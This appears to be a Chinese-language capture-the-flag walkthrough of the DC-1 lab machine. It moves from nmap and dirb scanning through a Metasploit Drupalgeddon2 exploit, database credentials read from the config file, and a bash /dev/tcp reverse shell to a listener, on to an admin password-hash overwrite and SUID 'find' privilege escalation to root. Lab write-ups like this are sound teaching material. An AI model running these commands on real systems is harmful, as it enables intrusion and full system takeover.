2.信息收集
主机发现,由于是与主机nat连接,所以需要找到dc1的IP地址
dc1的Mac地址是
所以dc1 靶机的ip地址是192.168.211.133
扫描主机上开启的服务
nmap -A 192.168.211.133 -p 1-65535
发现目标开启了22端口和80端口
22端口考虑ssh爆破
我们访问80端口发现是一个Drupal网站
drupal是三大PHP CMS 之一:drupal WordPress Joomla 由于是开源的网站,所以应该有很多公开的漏洞
扫描网站目录
dirb 192.168.211.133
发现有一个更新信息,进去查看
发现了网站版本
我们进入msf中搜索drupal
然后使用exploit/unix/webapp/drupal_drupalgeddon2 攻击模块
设置好相关选项
查看可以使用的payload,使用反向连接
ls之后看到flag1.txt
提示config配置文件,百度找了一下durpal配置文件在/sites/default/settings.php
由于数据库密码是以明文方式写在配置文件里面的,所以考虑去找数据库的配置文件
发现flag2和数据库的密码信息,提示爆破和目录攻击不是一个好的方法
array (
‘database’ => ‘drupaldb’,
‘username’ => ‘dbuser’,
‘password’ => ‘R0ck3t’,
‘host’ => ‘localhost’,
然后我们使用shell 获得普通用户权限,然后尝试去连接数据库
使用netstat -anptl查看3306是否开放,结果只允许本地连接
我们需要使用shell反弹
先用kali监听2333端口
执行python -c "import pty;pty.spawn(’/bin/bash’)"
执行完之后可获得python提供的标准shell
shell反弹命令bash -i >& /dev/tcp/192.168.211.129/2333 0>&1
反弹成功
这时就可以使用mysql登陆,mysql -udbuser -pR0ck3t
show databases;
show tables;
查看users表select * from users/G
应该注意到的是密码的加密是用了该cms特有的hash算法。找hash文件。
scripts录有password-hash.sh文件。思路为用该文件生成自己的密码hash值替换数据库hash,达到登陆后台的目的。
php scripts/password-hash.sh asdfg 在www下使用scripts/password-hash.sh文件生成asdfg密码的密文
update users set pass=“ S S SD.l7VkAj.1NbdBM6U7qPaNap3etnOwQpT9TTJ.VECdBHS/XTDUYd” where uid=1; 修改成功
然后我们成功登陆网站并且发现flag3
!在这里插入图片描述
flag3将我们指向passwd,并且提示可以用find提权
接下来我们要进行提权进入到root
系统内核提权
提权之前我们需要看系统中是否有一些命令具有SUID标识—如果命令有SUID标识,说明这些命令在执行过程中会有短暂的root权限
查看具有SUID权限的命令
find / -perm -4000 2>/dev/null
发现上面 这些命令在执行时都会短暂获得root权限,我们使用这些命令去执行另一些命令,那么那些命令也相应具有端在的root权限
find flag4.txt -exec “/bin/sh” ;